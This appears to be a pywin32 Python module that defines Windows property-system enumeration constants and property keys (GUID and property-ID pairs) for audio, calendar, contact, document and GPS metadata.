PDCIT_ONDISK = 1
PDCIT_INMEMORY = 2
## PROPDESC_ENUMFILTER, used with IPropertySystem::EnumeratePropertyDescriptions
PDEF_ALL = 0
PDEF_SYSTEM = 1
PDEF_NONSYSTEM = 2
PDEF_VIEWABLE = 3
PDEF_QUERYABLE = 4
PDEF_INFULLTEXTQUERY = 5
PDEF_COLUMN = 6
## PSC_STATE, used with IPropertyStoreCache
PSC_NORMAL = 0
PSC_NOTINSOURCE = 1
PSC_DIRTY = 2
## CONDITION_OPERATION
COP_IMPLICIT = 0
COP_EQUAL = 1
COP_NOTEQUAL = 2
COP_LESSTHAN = 3
COP_GREATERTHAN = 4
COP_LESSTHANOREQUAL = 5
COP_GREATERTHANOREQUAL = 6
COP_VALUE_STARTSWITH = 7
COP_VALUE_ENDSWITH = 8
COP_VALUE_CONTAINS = 9
COP_VALUE_NOTCONTAINS = 10
COP_DOSWILDCARDS = 11
COP_WORD_EQUAL = 12
COP_WORD_STARTSWITH = 13
COP_APPLICATION_SPECIFIC = 14
## PERSIST_SPROPSTORE_FLAGS, used with IPersistSerializedPropStorage
FPSPS_READONLY = 1
PKEY_PIDSTR_MAX = 10 # will take care of any long integer value
#define GUIDSTRING_MAX (1 + 8 + 1 + 4 + 1 + 4 + 1 + 4 + 1 + 12 + 1 + 1) // "{12345678-1234-1234-1234-123456789012}"
GUIDSTRING_MAX = (1 + 8 + 1 + 4 + 1 + 4 + 1 + 4 + 1 + 12 + 1 + 1) # hrm ???
#define PKEYSTR_MAX (GUIDSTRING_MAX + 1 + PKEY_PIDSTR_MAX)
PKEYSTR_MAX = GUIDSTRING_MAX + 1 + PKEY_PIDSTR_MAX
## Property keys from propkey.h
from pywintypes import IID
PKEY_Audio_ChannelCount = (IID('{64440490-4C8B-11D1-8B70-080036B11A03}'), 7)
PKEY_Audio_Compression = (IID('{64440490-4C8B-11D1-8B70-080036B11A03}'), 10)
PKEY_Audio_EncodingBitrate = (IID('{64440490-4C8B-11D1-8B70-080036B11A03}'), 4)
PKEY_Audio_Format = (IID('{64440490-4C8B-11D1-8B70-080036B11A03}'), 2)
PKEY_Audio_IsVariableBitRate = (IID('{E6822FEE-8C17-4D62-823C-8E9CFCBD1D5C}'), 100)
PKEY_Audio_PeakValue = (IID('{2579E5D0-1116-4084-BD9A-9B4F7CB4DF5E}'), 100)
PKEY_Audio_SampleRate = (IID('{64440490-4C8B-11D1-8B70-080036B11A03}'), 5)
PKEY_Audio_SampleSize = (IID('{64440490-4C8B-11D1-8B70-080036B11A03}'), 6)
PKEY_Audio_StreamName = (IID('{64440490-4C8B-11D1-8B70-080036B11A03}'), 9)
PKEY_Audio_StreamNumber = (IID('{64440490-4C8B-11D1-8B70-080036B11A03}'), 8)
PKEY_Calendar_Duration = (IID('{293CA35A-09AA-4DD2-B180-1FE245728A52}'), 100)
PKEY_Calendar_IsOnline = (IID('{BFEE9149-E3E2-49A7-A862-C05988145CEC}'), 100)
PKEY_Calendar_IsRecurring = (IID('{315B9C8D-80A9-4EF9-AE16-8E746DA51D70}'), 100)
PKEY_Calendar_Location = (IID('{F6272D18-CECC-40B1-B26A-3911717AA7BD}'), 100)
PKEY_Calendar_OptionalAttendeeAddresses = (IID('{D55BAE5A-3892-417A-A649-C6AC5AAAEAB3}'), 100)
PKEY_Calendar_OptionalAttendeeNames = (IID('{09429607-582D-437F-84C3-DE93A2B24C3C}'), 100)
PKEY_Calendar_OrganizerAddress = (IID('{744C8242-4DF5-456C-AB9E-014EFB9021E3}'), 100)
PKEY_Calendar_OrganizerName = (IID('{AAA660F9-9865-458E-B484-01BC7FE3973E}'), 100)
PKEY_Calendar_ReminderTime = (IID('{72FC5BA4-24F9-4011-9F3F-ADD27AFAD818}'), 100)
PKEY_Calendar_RequiredAttendeeAddresses = (IID('{0BA7D6C3-568D-4159-AB91-781A91FB71E5}'), 100)
PKEY_Calendar_RequiredAttendeeNames = (IID('{B33AF30B-F552-4584-936C-CB93E5CDA29F}'), 100)
PKEY_Calendar_Resources = (IID('{00F58A38-C54B-4C40-8696-97235980EAE1}'), 100)
PKEY_Calendar_ShowTimeAs = (IID('{5BF396D4-5EB2-466F-BDE9-2FB3F2361D6E}'), 100)
PKEY_Calendar_ShowTimeAsText = (IID('{53DA57CF-62C0-45C4-81DE-7610BCEFD7F5}'), 100)
PKEY_Communication_AccountName = (IID('{E3E0584C-B788-4A5A-BB20-7F5A44C9ACDD}'), 9)
PKEY_Communication_Suffix = (IID('{807B653A-9E91-43EF-8F97-11CE04EE20C5}'), 100)
PKEY_Communication_TaskStatus = (IID('{BE1A72C6-9A1D-46B7-AFE7-AFAF8CEF4999}'), 100)
PKEY_Communication_TaskStatusText = (IID('{A6744477-C237-475B-A075-54F34498292A}'), 100)
PKEY_Computer_DecoratedFreeSpace = (IID('{9B174B35-40FF-11D2-A27E-00C04FC30871}'), 7)
PKEY_Contact_Anniversary = (IID('{9AD5BADB-CEA7-4470-A03D-B84E51B9949E}'), 100)
PKEY_Contact_AssistantName = (IID('{CD102C9C-5540-4A88-A6F6-64E4981C8CD1}'), 100)
PKEY_Contact_AssistantTelephone = (IID('{9A93244D-A7AD-4FF8-9B99-45EE4CC09AF6}'), 100)
PKEY_Contact_Birthday = (IID('{176DC63C-2688-4E89-8143-A347800F25E9}'), 47)
PKEY_Contact_BusinessAddress = (IID('{730FB6DD-CF7C-426B-A03F-BD166CC9EE24}'), 100)
PKEY_Contact_BusinessAddressCity = (IID('{402B5934-EC5A-48C3-93E6-85E86A2D934E}'), 100)
PKEY_Contact_BusinessAddressCountry = (IID('{B0B87314-FCF6-4FEB-8DFF-A50DA6AF561C}'), 100)
PKEY_Contact_BusinessAddressPostalCode = (IID('{E1D4A09E-D758-4CD1-B6EC-34A8B5A73F80}'), 100)
PKEY_Contact_BusinessAddressPostOfficeBox = (IID('{BC4E71CE-17F9-48D5-BEE9-021DF0EA5409}'), 100)
PKEY_Contact_BusinessAddressState = (IID('{446F787F-10C4-41CB-A6C4-4D0343551597}'), 100)
PKEY_Contact_BusinessAddressStreet = (IID('{DDD1460F-C0BF-4553-8CE4-10433C908FB0}'), 100)
PKEY_Contact_BusinessFaxNumber = (IID('{91EFF6F3-2E27-42CA-933E-7C999FBE310B}'), 100)
PKEY_Contact_BusinessHomePage = (IID('{56310920-2491-4919-99CE-EADB06FAFDB2}'), 100)
PKEY_Contact_BusinessTelephone = (IID('{6A15E5A0-0A1E-4CD7-BB8C-D2F1B0C929BC}'), 100)
PKEY_Contact_CallbackTelephone = (IID('{BF53D1C3-49E0-4F7F-8567-5A821D8AC542}'), 100)
PKEY_Contact_CarTelephone = (IID('{8FDC6DEA-B929-412B-BA90-397A257465FE}'), 100)
PKEY_Contact_Children = (IID('{D4729704-8EF1-43EF-9024-2BD381187FD5}'), 100)
PKEY_Contact_CompanyMainTelephone = (IID('{8589E481-6040-473D-B171-7FA89C2708ED}'), 100)
PKEY_Contact_Department = (IID('{FC9F7306-FF8F-4D49-9FB6-3FFE5C0951EC}'), 100)
PKEY_Contact_EmailAddress = (IID('{F8FA7FA3-D12B-4785-8A4E-691A94F7A3E7}'), 100)
PKEY_Contact_EmailAddress2 = (IID('{38965063-EDC8-4268-8491-B7723172CF29}'), 100)
PKEY_Contact_EmailAddress3 = (IID('{644D37B4-E1B3-4BAD-B099-7E7C04966ACA}'), 100)
PKEY_Contact_EmailAddresses = (IID('{84D8F337-981D-44B3-9615-C7596DBA17E3}'), 100)
PKEY_Contact_EmailName = (IID('{CC6F4F24-6083-4BD4-8754-674D0DE87AB8}'), 100)
PKEY_Contact_FileAsName = (IID('{F1A24AA7-9CA7-40F6-89EC-97DEF9FFE8DB}'), 100)
PKEY_Contact_FirstName = (IID('{14977844-6B49-4AAD-A714-A4513BF60460}'), 100)
PKEY_Contact_FullName = (IID('{635E9051-50A5-4BA2-B9DB-4ED056C77296}'), 100)
PKEY_Contact_Gender = (IID('{3C8CEE58-D4F0-4CF9-B756-4E5D24447BCD}'), 100)
PKEY_Contact_Hobbies = (IID('{5DC2253F-5E11-4ADF-9CFE-910DD01E3E70}'), 100)
PKEY_Contact_HomeAddress = (IID('{98F98354-617A-46B8-8560-5B1B64BF1F89}'), 100)
PKEY_Contact_HomeAddressCity = (IID('{176DC63C-2688-4E89-8143-A347800F25E9}'), 65)
PKEY_Contact_HomeAddressCountry = (IID('{08A65AA1-F4C9-43DD-9DDF-A33D8E7EAD85}'), 100)
PKEY_Contact_HomeAddressPostalCode = (IID('{8AFCC170-8A46-4B53-9EEE-90BAE7151E62}'), 100)
PKEY_Contact_HomeAddressPostOfficeBox = (IID('{7B9F6399-0A3F-4B12-89BD-4ADC51C918AF}'), 100)
PKEY_Contact_HomeAddressState = (IID('{C89A23D0-7D6D-4EB8-87D4-776A82D493E5}'), 100)
PKEY_Contact_HomeAddressStreet = (IID('{0ADEF160-DB3F-4308-9A21-06237B16FA2A}'), 100)
PKEY_Contact_HomeFaxNumber = (IID('{660E04D6-81AB-4977-A09F-82313113AB26}'), 100)
PKEY_Contact_HomeTelephone = (IID('{176DC63C-2688-4E89-8143-A347800F25E9}'), 20)
PKEY_Contact_IMAddress = (IID('{D68DBD8A-3374-4B81-9972-3EC30682DB3D}'), 100)
PKEY_Contact_Initials = (IID('{F3D8F40D-50CB-44A2-9718-40CB9119495D}'), 100)
PKEY_Contact_JA_CompanyNamePhonetic = (IID('{897B3694-FE9E-43E6-8066-260F590C0100}'), 2)
PKEY_Contact_JA_FirstNamePhonetic = (IID('{897B3694-FE9E-43E6-8066-260F590C0100}'), 3)
PKEY_Contact_JA_LastNamePhonetic = (IID('{897B3694-FE9E-43E6-8066-260F590C0100}'), 4)
PKEY_Contact_JobTitle = (IID('{176DC63C-2688-4E89-8143-A347800F25E9}'), 6)
PKEY_Contact_Label = (IID('{97B0AD89-DF49-49CC-834E-660974FD755B}'), 100)
PKEY_Contact_LastName = (IID('{8F367200-C270-457C-B1D4-E07C5BCD90C7}'), 100)
PKEY_Contact_MailingAddress = (IID('{C0AC206A-827E-4650-95AE-77E2BB74FCC9}'), 100)
PKEY_Contact_MiddleName = (IID('{176DC63C-2688-4E89-8143-A347800F25E9}'), 71)
PKEY_Contact_MobileTelephone = (IID('{176DC63C-2688-4E89-8143-A347800F25E9}'), 35)
PKEY_Contact_NickName = (IID('{176DC63C-2688-4E89-8143-A347800F25E9}'), 74)
PKEY_Contact_OfficeLocation = (IID('{176DC63C-2688-4E89-8143-A347800F25E9}'), 7)
PKEY_Contact_OtherAddress = (IID('{508161FA-313B-43D5-83A1-C1ACCF68622C}'), 100)
PKEY_Contact_OtherAddressCity = (IID('{6E682923-7F7B-4F0C-A337-CFCA296687BF}'), 100)
PKEY_Contact_OtherAddressCountry = (IID('{8F167568-0AAE-4322-8ED9-6055B7B0E398}'), 100)
PKEY_Contact_OtherAddressPostalCode = (IID('{95C656C1-2ABF-4148-9ED3-9EC602E3B7CD}'), 100)
PKEY_Contact_OtherAddressPostOfficeBox = (IID('{8B26EA41-058F-43F6-AECC-4035681CE977}'), 100)
PKEY_Contact_OtherAddressState = (IID('{71B377D6-E570-425F-A170-809FAE73E54E}'), 100)
PKEY_Contact_OtherAddressStreet = (IID('{FF962609-B7D6-4999-862D-95180D529AEA}'), 100)
PKEY_Contact_PagerTelephone = (IID('{D6304E01-F8F5-4F45-8B15-D024A6296789}'), 100)
PKEY_Contact_PersonalTitle = (IID('{176DC63C-2688-4E89-8143-A347800F25E9}'), 69)
PKEY_Contact_PrimaryAddressCity = (IID('{C8EA94F0-A9E3-4969-A94B-9C62A95324E0}'), 100)
PKEY_Contact_PrimaryAddressCountry = (IID('{E53D799D-0F3F-466E-B2FF-74634A3CB7A4}'), 100)
PKEY_Contact_PrimaryAddressPostalCode = (IID('{18BBD425-ECFD-46EF-B612-7B4A6034EDA0}'), 100)
PKEY_Contact_PrimaryAddressPostOfficeBox = (IID('{DE5EF3C7-46E1-484E-9999-62C5308394C1}'), 100)
PKEY_Contact_PrimaryAddressState = (IID('{F1176DFE-7138-4640-8B4C-AE375DC70A6D}'), 100)
PKEY_Contact_PrimaryAddressStreet = (IID('{63C25B20-96BE-488F-8788-C09C407AD812}'), 100)
PKEY_Contact_PrimaryEmailAddress = (IID('{176DC63C-2688-4E89-8143-A347800F25E9}'), 48)
PKEY_Contact_PrimaryTelephone = (IID('{176DC63C-2688-4E89-8143-A347800F25E9}'), 25)
PKEY_Contact_Profession = (IID('{7268AF55-1CE4-4F6E-A41F-B6E4EF10E4A9}'), 100)
PKEY_Contact_SpouseName = (IID('{9D2408B6-3167-422B-82B0-F583B7A7CFE3}'), 100)
PKEY_Contact_Suffix = (IID('{176DC63C-2688-4E89-8143-A347800F25E9}'), 73)
PKEY_Contact_TelexNumber = (IID('{C554493C-C1F7-40C1-A76C-EF8C0614003E}'), 100)
PKEY_Contact_TTYTDDTelephone = (IID('{AAF16BAC-2B55-45E6-9F6D-415EB94910DF}'), 100)
PKEY_Contact_WebPage = (IID('{E3E0584C-B788-4A5A-BB20-7F5A44C9ACDD}'), 18)
PKEY_AcquisitionID = (IID('{65A98875-3C80-40AB-ABBC-EFDAF77DBEE2}'), 100)
PKEY_ApplicationName = (IID('{F29F85E0-4FF9-1068-AB91-08002B27B3D9}'), 18)
PKEY_Author = (IID('{F29F85E0-4FF9-1068-AB91-08002B27B3D9}'), 4)
PKEY_Capacity = (IID('{9B174B35-40FF-11D2-A27E-00C04FC30871}'), 3)
PKEY_Category = (IID('{D5CDD502-2E9C-101B-9397-08002B2CF9AE}'), 2)
PKEY_Comment = (IID('{F29F85E0-4FF9-1068-AB91-08002B27B3D9}'), 6)
PKEY_Company = (IID('{D5CDD502-2E9C-101B-9397-08002B2CF9AE}'), 15)
PKEY_ComputerName = (IID('{28636AA6-953D-11D2-B5D6-00C04FD918D0}'), 5)
PKEY_ContainedItems = (IID('{28636AA6-953D-11D2-B5D6-00C04FD918D0}'), 29)
PKEY_ContentStatus = (IID('{D5CDD502-2E9C-101B-9397-08002B2CF9AE}'), 27)
PKEY_ContentType = (IID('{D5CDD502-2E9C-101B-9397-08002B2CF9AE}'), 26)
PKEY_Copyright = (IID('{64440492-4C8B-11D1-8B70-080036B11A03}'), 11)
PKEY_DateAccessed = (IID('{B725F130-47EF-101A-A5F1-02608C9EEBAC}'), 16)
PKEY_DateAcquired = (IID('{2CBAA8F5-D81F-47CA-B17A-F8D822300131}'), 100)
PKEY_DateArchived = (IID('{43F8D7B7-A444-4F87-9383-52271C9B915C}'), 100)
PKEY_DateCompleted = (IID('{72FAB781-ACDA-43E5-B155-B2434F85E678}'), 100)
PKEY_DateCreated = (IID('{B725F130-47EF-101A-A5F1-02608C9EEBAC}'), 15)
PKEY_DateImported = (IID('{14B81DA1-0135-4D31-96D9-6CBFC9671A99}'), 18258)
PKEY_DateModified = (IID('{B725F130-47EF-101A-A5F1-02608C9EEBAC}'), 14)
PKEY_DueDate = (IID('{3F8472B5-E0AF-4DB2-8071-C53FE76AE7CE}'), 100)
PKEY_EndDate = (IID('{C75FAA05-96FD-49E7-9CB4-9F601082D553}'), 100)
PKEY_FileAllocationSize = (IID('{B725F130-47EF-101A-A5F1-02608C9EEBAC}'), 18)
PKEY_FileAttributes = (IID('{B725F130-47EF-101A-A5F1-02608C9EEBAC}'), 13)
PKEY_FileCount = (IID('{28636AA6-953D-11D2-B5D6-00C04FD918D0}'), 12)
PKEY_FileDescription = (IID('{0CEF7D53-FA64-11D1-A203-0000F81FEDEE}'), 3)
PKEY_FileExtension = (IID('{E4F10A3C-49E6-405D-8288-A23BD4EEAA6C}'), 100)
PKEY_FileFRN = (IID('{B725F130-47EF-101A-A5F1-02608C9EEBAC}'), 21)
PKEY_FileName = (IID('{41CF5AE0-F75A-4806-BD87-59C7D9248EB9}'), 100)
PKEY_FileOwner = (IID('{9B174B34-40FF-11D2-A27E-00C04FC30871}'), 4)
PKEY_FileVersion = (IID('{0CEF7D53-FA64-11D1-A203-0000F81FEDEE}'), 4)
PKEY_FindData = (IID('{28636AA6-953D-11D2-B5D6-00C04FD918D0}'), 0)
PKEY_FlagColor = (IID('{67DF94DE-0CA7-4D6F-B792-053A3E4F03CF}'), 100)
PKEY_FlagColorText = (IID('{45EAE747-8E2A-40AE-8CBF-CA52ABA6152A}'), 100)
PKEY_FlagStatus = (IID('{E3E0584C-B788-4A5A-BB20-7F5A44C9ACDD}'), 12)
PKEY_FlagStatusText = (IID('{DC54FD2E-189D-4871-AA01-08C2F57A4ABC}'), 100)
PKEY_FreeSpace = (IID('{9B174B35-40FF-11D2-A27E-00C04FC30871}'), 2)
PKEY_Identity = (IID('{A26F4AFC-7346-4299-BE47-EB1AE613139F}'), 100)
PKEY_Importance = (IID('{E3E0584C-B788-4A5A-BB20-7F5A44C9ACDD}'), 11)
PKEY_ImportanceText = (IID('{A3B29791-7713-4E1D-BB40-17DB85F01831}'), 100)
PKEY_IsAttachment = (IID('{F23F425C-71A1-4FA8-922F-678EA4A60408}'), 100)
PKEY_IsDeleted = (IID('{5CDA5FC8-33EE-4FF3-9094-AE7BD8868C4D}'), 100)
PKEY_IsFlagged = (IID('{5DA84765-E3FF-4278-86B0-A27967FBDD03}'), 100)
PKEY_IsFlaggedComplete = (IID('{A6F360D2-55F9-48DE-B909-620E090A647C}'), 100)
PKEY_IsIncomplete = (IID('{346C8BD1-2E6A-4C45-89A4-61B78E8E700F}'), 100)
PKEY_IsRead = (IID('{E3E0584C-B788-4A5A-BB20-7F5A44C9ACDD}'), 10)
PKEY_IsSendToTarget = (IID('{28636AA6-953D-11D2-B5D6-00C04FD918D0}'), 33)
PKEY_IsShared = (IID('{EF884C5B-2BFE-41BB-AAE5-76EEDF4F9902}'), 100)
PKEY_ItemAuthors = (IID('{D0A04F0A-462A-48A4-BB2F-3706E88DBD7D}'), 100)
PKEY_ItemDate = (IID('{F7DB74B4-4287-4103-AFBA-F1B13DCD75CF}'), 100)
PKEY_ItemFolderNameDisplay = (IID('{B725F130-47EF-101A-A5F1-02608C9EEBAC}'), 2)
PKEY_ItemFolderPathDisplay = (IID('{E3E0584C-B788-4A5A-BB20-7F5A44C9ACDD}'), 6)
PKEY_ItemFolderPathDisplayNarrow = (IID('{DABD30ED-0043-4789-A7F8-D013A4736622}'), 100)
PKEY_ItemName = (IID('{6B8DA074-3B5C-43BC-886F-0A2CDCE00B6F}'), 100)
PKEY_ItemNameDisplay = (IID('{B725F130-47EF-101A-A5F1-02608C9EEBAC}'), 10)
PKEY_ItemNamePrefix = (IID('{D7313FF1-A77A-401C-8C99-3DBDD68ADD36}'), 100)
PKEY_ItemParticipants = (IID('{D4D0AA16-9948-41A4-AA85-D97FF9646993}'), 100)
PKEY_ItemPathDisplay = (IID('{E3E0584C-B788-4A5A-BB20-7F5A44C9ACDD}'), 7)
PKEY_ItemPathDisplayNarrow = (IID('{28636AA6-953D-11D2-B5D6-00C04FD918D0}'), 8)
PKEY_ItemType = (IID('{28636AA6-953D-11D2-B5D6-00C04FD918D0}'), 11)
PKEY_ItemTypeText = (IID('{B725F130-47EF-101A-A5F1-02608C9EEBAC}'), 4)
PKEY_ItemUrl = (IID('{49691C90-7E17-101A-A91C-08002B2ECDA9}'), 9)
PKEY_Keywords = (IID('{F29F85E0-4FF9-1068-AB91-08002B27B3D9}'), 5)
PKEY_Kind = (IID('{1E3EE840-BC2B-476C-8237-2ACD1A839B22}'), 3)
PKEY_KindText = (IID('{F04BEF95-C585-4197-A2B7-DF46FDC9EE6D}'), 100)
PKEY_Language = (IID('{D5CDD502-2E9C-101B-9397-08002B2CF9AE}'), 28)
PKEY_MileageInformation = (IID('{FDF84370-031A-4ADD-9E91-0D775F1C6605}'), 100)
PKEY_MIMEType = (IID('{0B63E350-9CCC-11D0-BCDB-00805FCCCE04}'), 5)
PKEY_Null = (IID('{00000000-0000-0000-0000-000000000000}'), 0)
PKEY_OfflineAvailability = (IID('{A94688B6-7D9F-4570-A648-E3DFC0AB2B3F}'), 100)
PKEY_OfflineStatus = (IID('{6D24888F-4718-4BDA-AFED-EA0FB4386CD8}'), 100)
PKEY_OriginalFileName = (IID('{0CEF7D53-FA64-11D1-A203-0000F81FEDEE}'), 6)
PKEY_ParentalRating = (IID('{64440492-4C8B-11D1-8B70-080036B11A03}'), 21)
PKEY_ParentalRatingReason = (IID('{10984E0A-F9F2-4321-B7EF-BAF195AF4319}'), 100)
PKEY_ParentalRatingsOrganization = (IID('{A7FE0840-1344-46F0-8D37-52ED712A4BF9}'), 100)
PKEY_ParsingBindContext = (IID('{DFB9A04D-362F-4CA3-B30B-0254B17B5B84}'), 100)
PKEY_ParsingName = (IID('{28636AA6-953D-11D2-B5D6-00C04FD918D0}'), 24)
PKEY_ParsingPath = (IID('{28636AA6-953D-11D2-B5D6-00C04FD918D0}'), 30)
PKEY_PerceivedType = (IID('{28636AA6-953D-11D2-B5D6-00C04FD918D0}'), 9)
PKEY_PercentFull = (IID('{9B174B35-40FF-11D2-A27E-00C04FC30871}'), 5)
PKEY_Priority = (IID('{9C1FCF74-2D97-41BA-B4AE-CB2E3661A6E4}'), 5)
PKEY_PriorityText = (IID('{D98BE98B-B86B-4095-BF52-9D23B2E0A752}'), 100)
PKEY_Project = (IID('{39A7F922-477C-48DE-8BC8-B28441E342E3}'), 100)
PKEY_ProviderItemID = (IID('{F21D9941-81F0-471A-ADEE-4E74B49217ED}'), 100)
PKEY_Rating = (IID('{64440492-4C8B-11D1-8B70-080036B11A03}'), 9)
PKEY_RatingText = (IID('{90197CA7-FD8F-4E8C-9DA3-B57E1E609295}'), 100)
PKEY_Sensitivity = (IID('{F8D3F6AC-4874-42CB-BE59-AB454B30716A}'), 100)
PKEY_SensitivityText = (IID('{D0C7F054-3F72-4725-8527-129A577CB269}'), 100)
PKEY_SFGAOFlags = (IID('{28636AA6-953D-11D2-B5D6-00C04FD918D0}'), 25)
PKEY_SharedWith = (IID('{EF884C5B-2BFE-41BB-AAE5-76EEDF4F9902}'), 200)
PKEY_ShareUserRating = (IID('{64440492-4C8B-11D1-8B70-080036B11A03}'), 12)
PKEY_Shell_OmitFromView = (IID('{DE35258C-C695-4CBC-B982-38B0AD24CED0}'), 2)
PKEY_SimpleRating = (IID('{A09F084E-AD41-489F-8076-AA5BE3082BCA}'), 100)
PKEY_Size = (IID('{B725F130-47EF-101A-A5F1-02608C9EEBAC}'), 12)
PKEY_SoftwareUsed = (IID('{14B81DA1-0135-4D31-96D9-6CBFC9671A99}'), 305)
PKEY_SourceItem = (IID('{668CDFA5-7A1B-4323-AE4B-E527393A1D81}'), 100)
PKEY_StartDate = (IID('{48FD6EC8-8A12-4CDF-A03E-4EC5A511EDDE}'), 100)
PKEY_Status = (IID('{000214A1-0000-0000-C000-000000000046}'), 9)
PKEY_Subject = (IID('{F29F85E0-4FF9-1068-AB91-08002B27B3D9}'), 3)
PKEY_Thumbnail = (IID('{F29F85E0-4FF9-1068-AB91-08002B27B3D9}'), 17)
PKEY_ThumbnailCacheId = (IID('{446D16B1-8DAD-4870-A748-402EA43D788C}'), 100)
PKEY_ThumbnailStream = (IID('{F29F85E0-4FF9-1068-AB91-08002B27B3D9}'), 27)
PKEY_Title = (IID('{F29F85E0-4FF9-1068-AB91-08002B27B3D9}'), 2)
PKEY_TotalFileSize = (IID('{28636AA6-953D-11D2-B5D6-00C04FD918D0}'), 14)
PKEY_Trademarks = (IID('{0CEF7D53-FA64-11D1-A203-0000F81FEDEE}'), 9)
PKEY_Document_ByteCount = (IID('{D5CDD502-2E9C-101B-9397-08002B2CF9AE}'), 4)
PKEY_Document_CharacterCount = (IID('{F29F85E0-4FF9-1068-AB91-08002B27B3D9}'), 16)
PKEY_Document_ClientID = (IID('{276D7BB0-5B34-4FB0-AA4B-158ED12A1809}'), 100)
PKEY_Document_Contributor = (IID('{F334115E-DA1B-4509-9B3D-119504DC7ABB}'), 100)
PKEY_Document_DateCreated = (IID('{F29F85E0-4FF9-1068-AB91-08002B27B3D9}'), 12)
PKEY_Document_DatePrinted = (IID('{F29F85E0-4FF9-1068-AB91-08002B27B3D9}'), 11)
PKEY_Document_DateSaved = (IID('{F29F85E0-4FF9-1068-AB91-08002B27B3D9}'), 13)
PKEY_Document_Division = (IID('{1E005EE6-BF27-428B-B01C-79676ACD2870}'), 100)
PKEY_Document_DocumentID = (IID('{E08805C8-E395-40DF-80D2-54F0D6C43154}'), 100)
PKEY_Document_HiddenSlideCount = (IID('{D5CDD502-2E9C-101B-9397-08002B2CF9AE}'), 9)
PKEY_Document_LastAuthor = (IID('{F29F85E0-4FF9-1068-AB91-08002B27B3D9}'), 8)
PKEY_Document_LineCount = (IID('{D5CDD502-2E9C-101B-9397-08002B2CF9AE}'), 5)
PKEY_Document_Manager = (IID('{D5CDD502-2E9C-101B-9397-08002B2CF9AE}'), 14)
PKEY_Document_MultimediaClipCount = (IID('{D5CDD502-2E9C-101B-9397-08002B2CF9AE}'), 10)
PKEY_Document_NoteCount = (IID('{D5CDD502-2E9C-101B-9397-08002B2CF9AE}'), 8)
PKEY_Document_PageCount = (IID('{F29F85E0-4FF9-1068-AB91-08002B27B3D9}'), 14)
PKEY_Document_ParagraphCount = (IID('{D5CDD502-2E9C-101B-9397-08002B2CF9AE}'), 6)
PKEY_Document_PresentationFormat = (IID('{D5CDD502-2E9C-101B-9397-08002B2CF9AE}'), 3)
PKEY_Document_RevisionNumber = (IID('{F29F85E0-4FF9-1068-AB91-08002B27B3D9}'), 9)
PKEY_Document_Security = (IID('{F29F85E0-4FF9-1068-AB91-08002B27B3D9}'), 19)
PKEY_Document_SlideCount = (IID('{D5CDD502-2E9C-101B-9397-08002B2CF9AE}'), 7)
PKEY_Document_Template = (IID('{F29F85E0-4FF9-1068-AB91-08002B27B3D9}'), 7)
PKEY_Document_TotalEditingTime = (IID('{F29F85E0-4FF9-1068-AB91-08002B27B3D9}'), 10)
PKEY_Document_Version = (IID('{D5CDD502-2E9C-101B-9397-08002B2CF9AE}'), 29)
PKEY_Document_WordCount = (IID('{F29F85E0-4FF9-1068-AB91-08002B27B3D9}'), 15)
PKEY_DRM_DatePlayExpires = (IID('{AEAC19E4-89AE-4508-B9B7-BB867ABEE2ED}'), 6)
PKEY_DRM_DatePlayStarts = (IID('{AEAC19E4-89AE-4508-B9B7-BB867ABEE2ED}'), 5)
PKEY_DRM_Description = (IID('{AEAC19E4-89AE-4508-B9B7-BB867ABEE2ED}'), 3)
PKEY_DRM_IsProtected = (IID('{AEAC19E4-89AE-4508-B9B7-BB867ABEE2ED}'), 2)
PKEY_DRM_PlayCount = (IID('{AEAC19E4-89AE-4508-B9B7-BB867ABEE2ED}'), 4)
PKEY_GPS_Altitude = (IID('{827EDB4F-5B73-44A7-891D-FDFFABEA35CA}'), 100)
PKEY_GPS_AltitudeDenominator = (IID('{78342DCB-E358-4145-AE9A-6BFE4E0F9F51}'), 100)
PKEY_GPS_AltitudeNumerator = (IID('{2DAD1EB7-816D-40D3-9EC3-C9773BE2AADE}'), 100)
PKEY_GPS_AltitudeRef = (IID('{46AC629D-75EA-4515-867F-6DC4321C5844}'), 100)
PKEY_GPS_AreaInformation = (IID('{972E333E-AC7E-49F1-8ADF-A70D07A9BCAB}'), 100)
PKEY_GPS_Date = (IID('{3602C812-0F3B-45F0-85AD-603468D69423}'), 100)
PKEY_GPS_DestBearing = (IID('{C66D4B3C-E888-47CC-B99F-9DCA3EE34DEA}'), 100)
PKEY_GPS_DestBearingDenominator = (IID('{7ABCF4F8-7C3F-4988-AC91-8D2C2E97ECA5}'), 100)
PKEY_GPS_DestBearingNumerator = (IID('{BA3B1DA9-86EE-4B5D-A2A4-A271A429F0CF}'), 100)
PKEY_GPS_DestBearingRef = (IID('{9AB84393-2A0F-4B75-BB22-7279786977CB}'), 100)
PKEY_GPS_DestDistance = (IID('{A93EAE04-6804-4F24-AC81-09B266452118}'), 100)
PKEY_GPS_DestDistanceDenominator = (IID('{9BC2C99B-AC71-4127-9D1C-2596D0D7DCB7}'), 100)
PKEY_GPS_DestDistanceNumerator = (IID('{2BDA47DA-08C6-4FE1-80BC-A72FC517C5D0}'), 100)
PKEY_GPS_DestDistanceRef = (IID('{ED4DF2D3-8695-450B-856F-F5C1C53ACB66}'), 100)
PKEY_GPS_DestLatitude = (IID('{9D1D7CC5-5C39-451C-86B3-928E2D18CC47}'), 100)
PKEY_GPS_DestLatitudeDenominator = (IID('{3A372292-7FCA-49A7-99D5-E47BB2D4E7AB}'), 100)
PKEY_GPS_DestLatitudeNumerator = (IID('{ECF4B6F6-D5A6-433C-BB92-4076650FC890}'), 100)
PKEY_GPS_DestLatitudeRef = (IID('{CEA820B9-CE61-4885-A128-005D9087C192}'), 100)
PKEY_GPS_DestLongitude = (IID('{47A96261-CB4C-4807-8AD3-40B9D9DBC6BC}'), 100)
PKEY_GPS_DestLongitudeDenominator = (IID('{425D69E5-48AD-4900-8D80-6EB6B8D0AC86}'), 100)
PKEY_GPS_DestLongitudeNumerator = (IID('{A3250282-FB6D-48D5-9A89-DBCACE75CCCF}'), 100)
PKEY_GPS_DestLongitudeRef = (IID('{182C1EA6-7C1C-4083-AB4B-AC6C9F4ED128}'), 100)
PKEY_GPS_Differential = (IID('{AAF4EE25-BD3B-4DD7-BFC4-47F77BB00F6D}'), 100)
PKEY_GPS_DOP = (IID('{0CF8FB02-1837-42F1-A697-A7017AA289B9}'), 100)
PKEY_GPS_DOPDenominator = (IID('{A0BE94C5-50BA-487B-BD35-0654BE8881ED}'), 100)
PKEY_GPS_DOPNumerator = (IID('{47166B16-364F-4AA0-9F31-E2AB3DF449C3}'), 100)
PKEY_GPS_ImgDirection = (IID('{16473C91-D017-4ED9-BA4D-B6BAA55DBCF8}'), 100)
